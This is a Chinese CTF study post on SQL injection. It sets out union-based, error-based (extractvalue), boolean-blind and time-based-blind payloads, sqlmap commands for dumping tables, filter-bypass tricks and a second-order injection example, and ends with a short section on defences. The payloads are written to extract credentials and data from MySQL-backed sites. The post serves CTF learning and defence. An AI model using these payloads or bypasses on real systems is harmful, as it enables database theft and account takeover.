2021-01-18-每日一题(SQL注入)

每天一道CTF,日积月累,期待进步!

SQL注入攻击,union联合查询和 SQLMAP;SQL盲注


SQL注入

看到题目是一个典型的SQL注入,有回显

post方式传递数据,在id变量处可能存在注入点,下面尝试注入

有两种方法,SQLMAP或利用union查询

union查询

确定注入点 如果id=1' and 1=1#返回正常,1=2返回失败,则存在字符型注入

(如果id=2 和 id = 3-1 都正确显示id=2的记录,那么就是数字型的注入)

(如果id=2a正常显示,id=3-2不正常显示,那么是字符型注入)

判断字段数: id=1' order by 4# 4列 (<=4都正常回显,>4无输出)

判断回显位: id=0' union select 1,2,3,4#2,3,4列是回显列 ,第一列是id

查询表名: id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#表 fl4g,sc

(group_concat 是用“,”联合多条记录的函数)

查fl4g的字段: id=0' union select 1,2,3,group_concat(column_name) from  information_schema.columns where table_schema=database() and  table_name='fl4g'#(有些情况可以用十六进制绕过)字段名skctf_flag

列出数据: id=0' union select 1,2,3,skctf_flag from fl4g#得到flag

SQLMAP的POST注入

1. burp截包,输入1,提交。burp已经把id获取到了,保存为txt文件。放置到sqlmap的目录下边。

2. sqlmap对站点进行分析(-r)

3. 开始注入

(1)--dbs数据库  

“sqlmap.py-r D:\CTF\SQLmap\1.txt (-p admin_name注入点)--dbs”

不带注入点的话,sqlmap会自动检测

(2)-D skctf --tables 表

“sqlmap.py-r D:\CTF\SQLmap\1.txt -D skctf --tables”

(3)-D skctf  -T fl4g --columns 列

“sqlmap.py-r D:\CTF\SQLmap\1.txt -D skctf -T fl4g --columns”

(4)-D skctf  -T fl4g  -C "skctf_flag" --dump 值

“sqlmap.py-r D:\CTF\SQLmap\1.txt -D skctf -T fl4g  -C skctf_flag--dump”

get方式注入就是:sqlmap.py-u"http://www.xxx.com/index.php?id=1"--dbs


总结

mysql中的注释常用两种方式–+与#,#在url中需要编码为%23以避免与url本身的锚点冲突。

MYSQL基于联合查询/报错的手工注入

1. union联合查询注入 针对字符型(上面的例子)

2. 报错注入 针对数字型(没单引号)

 (1)通过floor报错

 (2)通过updatexml报错

 (3)通过ExtractValue报错

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1 --+

extractvalue(XML,XPath)从目标XML中返回包含查询值得字符串

参数XML:String格式,为XML文档对象得名称

参数XPath:xpath格式得字符串

因为我们在xpath输入的不是要求的xpath格式的字符串,所以函数会报错返回xpath参数内容

xpath会被带入mysql进行执行操作,发现不是xpath格式,但是只有在执行后才会发现,就会执行sql代码(select开始),查询内容并且concat拼接字符串,随后由extractvalue函数返回报错

andextractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))=1 --+

andextractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)))=1 --+

MYSQL盲注

盲注入不会展现任何数据库报错内容,它是依据构造真或假的问题对数据库进行“提问”,只有错误或正确的显示,不会把整个数据库的内容显示出来。

1. 基于bool的盲注

牢记布尔盲注的特点:只有当and后面的sql语句为True才不会报错;报错就表示and后的sql语句不成立。

ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit0,1),1,1))=101 #

substr(a,b,c) 将a结果从b开始截取c长度字符,ascii()将字符转为ascii值

2. 基于时间的盲注

利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。

 (1)判断当前数据库库名的长度

  如果数据库库名长度大于等于8,则mysql查询休眠5秒,否则查询1。

if(length(database())>=8,sleep(5),1)

http://.../php?id=1' and if(length(database())>=8,sleep(5),1)--+

  大于等于8,休眠,大于等于9不休眠,说明长度为8

 (2)获取当前数据库库名

     由于数据库的库名范围一般在a-z,0-9之间,可能有特殊字符,不区分大小写。和boolean注入类似,使用substr函数来截取database()的值,一次截取一个,注意是从1开始。

if(substr(database(),1,1)='a',sleep(5),1)

http://.../1.php?id=1'and if(substr(database(),1,1)='a',sleep(5),1)--+

  使用使用Burp爆破:得到数据库名:security

 (3)获取数据库表名

    LIMIT[位置偏移量,]行数

     其中,中括号里面的参数是可选参数,位置偏移量是指MySQL查询分析器要从哪一行开始显示,索引值从0开始,即第一条记录位置偏移量是0,第二条记录的位置偏移量是1,依此类推...,第二个参数为“行数”即指示返回的记录条数。

if(substr((select table_name from information_schema.tables where table_schema='security' limit0,1),1,1)='a',sleep(5),1)

http://.../php?id=1' and if(substr((select table_name from information_schema.tables where  table_schema='security' limit 0,1),1,1)='a',sleep(5),1)--+

     使用使用Burp爆破:得到数据库表名:security

     修改limit 0,1为limit 1,1,可以得到第二个表名。最后得到所有表名:

    第1个表名是:emails

    第2个表名是:referers (limit 2,1)

    第3个表名是:uagents (limit 3,1)

    第4个表名是:users (limit 4,1)

    依次类推,就可以得到完整的数据库库名,表名,字段名和具体数据。

SQL注入的防御

过滤敏感字符

将常用的SQL注入字符写入到黑名单中,然后通过程序对用户提交的POST、GET请求以及请求中的各个字段都进行过滤检查,筛选威胁字符。

通常过滤空格、括号、引号……等特殊字符,但是这些可以绕过的。

举例:过滤空格 select/**/name/**/from/**/user/**/where/**/id='kk' 或 select(name)from(user)where(id='kk')通过这种方法就会规避对空格的过滤;过滤括号和引号select name from user wehere id=0x6b6b0x6b6b(kk的十六进制)

限制查询长度

由于SQL注入过程中需要构造较长的SQL语句,因此,一些特定的程序可以使用限制用户提交的请求内容的长度来达到防御SQL注入的目的,但这种效果并不好。

设置数据库权限

根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具备select权限即可,这样即使程序存在问题,恶意用户也无法对表进行update或insert等写入操作。

限制目录权限

WEB目录应至少遵循“可写目录不可执行,可执行目录不可写”的原则,在次基础上,对各目录进行必要的权限细化。

限制数据类型

因为PHP语言没有严格的限制数据类型的定义例如:“ID=1 就默认ID为Intger ; name=kk 默认name为string”在PHP的弱类型管理中这是不安全的。

Burpsuit fuzz 判断过滤了哪些字符

https://github.com/fuzzdb-project/fuzzdb

这是一个fuzz测试的payload库,上面有大量的测试payload,非常实用,我们本次sql注入就用到它。

我们使用这个payload就可以了 /attack/sql-injection/detect/xplatform.txt

二次注入

https://blog.csdn.net/qq_43573676/article/details/105774162?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2.control

https://www.jianshu.com/p/3fe7904683ac

https://www.jianshu.com/p/746164a91422

第一步:插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

例子:

假如有一个网站管理员的用户名为:root 密码为:123456789 ,攻击者注册了一个账号 : root'-- 密码为:123因为账号当中有特殊字符,网站对于特殊字符进行了转义,一次注入在这就行不通了。虽然账号被转义了,但是他在数据库当中任然是以 root'-- 的方式被储存的。现在攻击者开始实施正真的攻击了,他开始对账号修改密码。普通网站修改密码的过程为:先判断用户是否存在------》确认用户以前的密码是否正确--------》获取要修改的密码---------》修改密码成功。 在数据库中 -- 表示注释的意思,后面的语句不会执行,而root后面的那个单引号又与前面的 ' 闭合,而原本后面的那个单引号因为是在 -- 之后,所以就被注释掉了,所以他修改的其实是 root 的密码

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,547评论 6 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,399评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,428评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,599评论 1 274
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,612评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,577评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,941评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,603评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,852评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,605评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,693评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,375评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,955评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,936评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,172评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,970评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,414评论 2 342

推荐阅读更多精彩内容

  • sql 注入 1.盲注 (没有回显)2.显错注入3.报错注入 显错注入-联合查询(Mysql数据库)的基本流程 显...
    Caeser_CC阅读 429评论 0 2
  • 一、分类 可以有以下几种不同的维度:维度一:基于注入点值的属性 数字型 字符型维度二:基于注入点的位置 GET/P...
    ffx_01阅读 1,719评论 0 0
  • 一、sql注入原理 SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是...
    卿酌南烛_b805阅读 4,117评论 0 2
  • 首发地址:我的个人博客 前言 本文章产生的缘由是因为专业老师,让我给本专业的同学讲一哈SQL注入和XSS入门,也就...
    简言之_阅读 1,165评论 0 7
  • 夜莺2517阅读 127,709评论 1 9